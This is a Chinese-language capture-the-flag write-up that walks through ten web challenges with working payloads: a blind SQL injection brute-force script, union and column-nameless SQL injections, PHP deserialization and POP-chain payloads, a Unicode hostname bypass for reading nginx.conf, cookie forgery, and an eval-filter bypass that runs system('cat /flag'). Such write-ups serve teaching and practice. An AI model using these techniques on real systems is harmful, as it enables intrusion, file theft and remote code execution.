1、[HCTF 2018]admin 1
考点:二次注入
先注册一个账号看看,注册 admin 会提示该用户名已存在,那我们就换一个用户名

观察页面功能,存在一个修改密码,开始的思路是想看看能否通过该密码功能抓包然后修改用户名为 admin 从而修改 admin 用户的密码(任意密码修改),最后发现不行,因为数据包不存在修改用户名的地方

然后就换了一个思路,二次注入,在注册页面先注册一个正常的不重复的用户,然后获取返回包信息,保存下来,再注册一个和 admin 同名的用户,把错误的返回包替换成前面获取的正确返回包从而达到修改 admin 密码的目的
正确返回包的内容:
HTTP/1.1 302 Found
Server: openresty
Date: Sat, 25 May 2024 17:23:44 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 219
Connection: close
Location: http://221e2e95-ac58-4496-8acf-2ccf4feceab5.node5.buuoj.cn/login
Set-Cookie: session=.eJw9kE2LwjAQhv_KkrOHfqQXwYNL2lIhKUpsnFlEalfbpkmFVVAr_vdNUTwMA-_7zOeD7I6mPDeHM5n-PMjX5ZX2ZEr2qhiqIOlxOZuR5-StVrboy43wcJPVVVhoCEYK_f18pLbP7YTs2l8yfeM85RRtPCCrQ5TdlauFQYU2Z-srBGiF_O5AQYR67YOFEOTaBacQZDchCwsy9vlYy7pI2FWHLPbALozj_JwtPZ5CyGUcCAWhGJYUFXicze-gMyrYynLptDS75SlEuXSay9wmGrWbHQjN7cIxxnBdj0eS6vx33F1O3aH_nJCzmIoBLTLRuBWpkFkEsh6Ent9dO4raGAi4L2TTIEta0B2F189Ia8v68OkEyq13fTl9aZ1B-rYpT-T5D5s0etw.ZlIeoA.7QWp6JzTxWYIhlIMmk8jYKJoHNs; HttpOnly; Path=/
Cache-Control: no-cache
Cache-Control: no-cache
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: /login. If not click the link.



注册成功

登录后即可获得 flag

2、[CISCN2019 华北赛区 Day2 Web1]Hack World 1
考点:SQL 注入 - 盲注

随便输入显示的语句也是各不相同

根据英文提示:要我们输入通行的 ID





经过测试应该是布尔盲注 ,并且过滤了 字符串+空格 的格式,所以要用括号替换空格,题目已经告诉我们 flag 值所在的表和字段,所以我们直接构造获取 flag 的 payload

也就是说,只要输入的字符正确就会显示 Hello, glzjin wants a girlfriend. 我们可以通过脚本来进行判断
python
import requests
if __name__ == '__main__':
flag = ''
url = "http://7c0feaa6-9877-42f0-8153-9e373663b5c1.node5.buuoj.cn:81/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0"
}
data = {
"id": "(select(ascii(mid(flag,i,1))=j)from(flag))"
}
for i in range(1,100):
for j in range(33,127):
data = {
"id":'(select(ascii(mid(flag,{num},1))={char})from(flag))'.format(num=i,char=j)
}
request_text = requests.post(url=url, data=data, headers=headers).text
if 'Hello' in request_text:
flag = flag + chr(j)
print(flag)
if chr(j) == '}':
exit()

3、[网鼎杯 2020 青龙组]AreUSerialz 1
考点:反序列化
php
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() { # 构造函数,对象创建时调用
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) { # 现在 content 的长度 为 100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content); # file_put_contents() 函数把一个字符串写入文件中。
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() { # 析构函数,对象销毁时调用
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) # 包含了所有的普通字符,也就是只要是字符串就返回 true
return false;
return true;
}
if(isset($_GET{'str'})) { # 可控参数
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str); # 反序列化
}
}

读取文件时需要使用 PHP 伪协议 filter ,在尝试的过程中发现,op 在赋值的时候要赋整形 2,我开始写的是字符 2,但是出不了结果,由代码可知 process 中判断 op 值采用的是弱比较,所以整形 2 与 字符 2 是一样的
payload
php
<?
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}


4、[BSidesCF 2019]Kookie 1
考点:cookie 伪造
抓包添加 cookie: username=admin 也可以直接在页面上添加

无需输入用户名密码,直接登录即可

5、[SUCTF 2019]Pythonginx 1
考点:nginx 配置文件所在位置 + idna 与 utf-8 编码漏洞
打开靶场

整理后的代码:
python
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
首先我们需要知道nginx重要文件的位置:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
url中的unicode漏洞引发的域名安全问题 - 先知社区 (aliyun.com)
idna与utf-8编码漏洞 - Hanamizuki花水木 - 博客园 (cnblogs.com)
/usr/local/nginx/conf/nginx.conf 这是我们的目标文件,并且我们要绕过如下两个检测

suctf.cc/usr/local/nginx/conf/nginx.conf 刚好就满足 ℆ 经过 idna 后变成 c/u,所以
payload:suctf.c**℆**sr/local/nginx/conf/nginx.conf,这样就可以绕过前两个检测了
getUrl?url=file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf
从别的师傅那里看到的方法,用脚本爆破字符串 C,然后替换 suctf.cc 的最后一个 c
python
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

6、[GXYCTF2019]BabySQli 1
[GXYCTF2019]BabySQli_vsvzr-CSDN博客
方法一:
name=a

name=admin

判断列表数,由于一些关键字被过滤了,包括 order,不过可以用 Order 来替代
name=admin' Order by 3#&pw=adc


说明列表数为 3

先进行 base32 解密,再经 base64 解密得到:select * from user where username = '$name'
判断回显点


所以剩下的两个位置很可能就是密码对应的位置了,后面不会做了,看一下大佬的文章,先看一下源码
<?php$row;
$pass=$_POST['pw'];
if($row['username']=='admin'){
if($row['password']==md5($pass)){
echo $flag;
}else{ echo "wrong pass!";
}}
else{ echo "wrong user!";}
我们输入的密码会进行 MD5 加密后再和正确的密码进行比较,由于是 MD5 加密,我们可以尝试传入一个数组,因为 MD5 是无法加密数组的,会返回一个 NULL

name=ad' union select 1,'admin',NULL#&pw[]=adc
或者是下面这种写法,225e8a3fe20e95f6cd9b9e10bfe5eb69是adc的MD5****值,当然其他值也可以,不是固定的

name=a' union select 1,'admin','225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc
考察: 联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据

这就是我们说的联合查询在查询不存在的数据时会创建虚拟数据,利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。
7、[CISCN 2019 初赛]Love Math 1
考点:REC
php
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
通过分析代码可知,有黑名单、白名单等过了操作,并且由 eval 可知本体考察的是 REC。
很多东西都被过滤掉了,所以常规的 cat/flag 是无法使用的
PHP 中可以把函数名通过字符串的形式传递给一个变量,然后通过变量来动态调用函数,例子:
$a='system';
$a('cat /flag');
上述代码会执行 system('cat/flag')
运用到本题中如下:
payload:?c=(_GET\[a\])(_GET[b])&a=system&c=cat /flag
但是 a、b 是被过滤了的,不符合白名单,需要用白名单里的字符串作为变量,还要满足最终的 payload 长度不大于 80
将 _GET 转成 16进制为:5f 47 45 54
hex2bin(5f 47 45 54) 即 _GET 但是 hex2bin 在白名单中不允许,所以要用 base_convert 来转换
hex2bin 可以看成是 36 进制数

所以,base_convert(37907361743,36,10) 即 hex2bin
5f 47 45 54 即 _GET,由于 5f 47 45 54 会被过滤掉,所以将其转成 10 进制 1598506324,所以 dechex(1598506324) 就是 5f 47 45 54
综上所述得:
base_convert(37907361743,10,36)(dechex(1598506324)) 即 hex2bin(5f 47 45 54) 即 _GET
将其以变量的形式保存
$pi=base_convert(37907361743,10,36)(dechex(1598506324))
最终 payload
php
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

8、[MRCTF2020]Ezpop 1
考点:POP 链构造
POP 链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种 payload,实战应用暂时没遇到,不过在 CTF 中经常出现,经常与反序列化一起考察。
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){ // 触发条件:把对象当成函数调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ // 输出对象时触发,构造函数中就有输出操作,所以只需要令 source 为一个对象即可
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){ // 访问一个不存在或权限不够的属性时触发
$function = $this->p; // 这里就是把变量当成函数操作,我们只需要令 p 为一个对象即可满足 Modifier 中的要求
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
payload:
php
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$b = new Show();
$a -> source = $b; // 这里是为了在 __construct 中触发 __toString
$b -> str = new Test(); // 这样就会出现执行 $this->str->source; 时,属性 source 不存在,所以触发 __get() 方法
($b -> str) -> p = new Modifier();
echo urlencode(serialize($a));
?>

php 伪协议,直接赋 flag.php 是无法读取到的
$var``=``"php://filter/read=convert.base64-encode/resource=flag.php"``;



9、[MRCTF2020]PYWebsite 1

找对正确的授权码,不过需要进行 MD5 解密


MD5 解密平台:
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊 (hashes.com)

对页面进行抓包

放包后的结果

查看页面源代码

10、[SWPU2019]Web1 1
考点:MySQL 数据库无列名爆值
经过测试,发现 or、#、--+ 和 空格被过滤了
绕过方法:
①、****空格被过滤可以使用**/**/**代替
**②、**注释符被过滤,使用引号进行闭合,经过测试,该题使用的是单引号闭合
**③、**order by 等使用不了可以用笨方法一个个试
经过测试本题有 22 个字段
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

查看数据库名称
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

查看表名
在MySQL 5.6及更高版本中 "innodb_index_stats"和 "innodb_table_stats"。这两个表都包含所有新创建的数据库和表的数据库和表名。
例子:
select * from mysql.innodb_table_stats;

select * from mysql.innodb_index_stats;

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

由于无法获得字段名,所以需要利用 mysql 无字段名爆值的方法
不知道列名的情况下注入 - 简书 (jianshu.com)
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
关键
(select group_concat(b) from (select 1,2,3 as b union select * from users)a)
(select 1,2,3 as b union select * from users) 为列重新命名
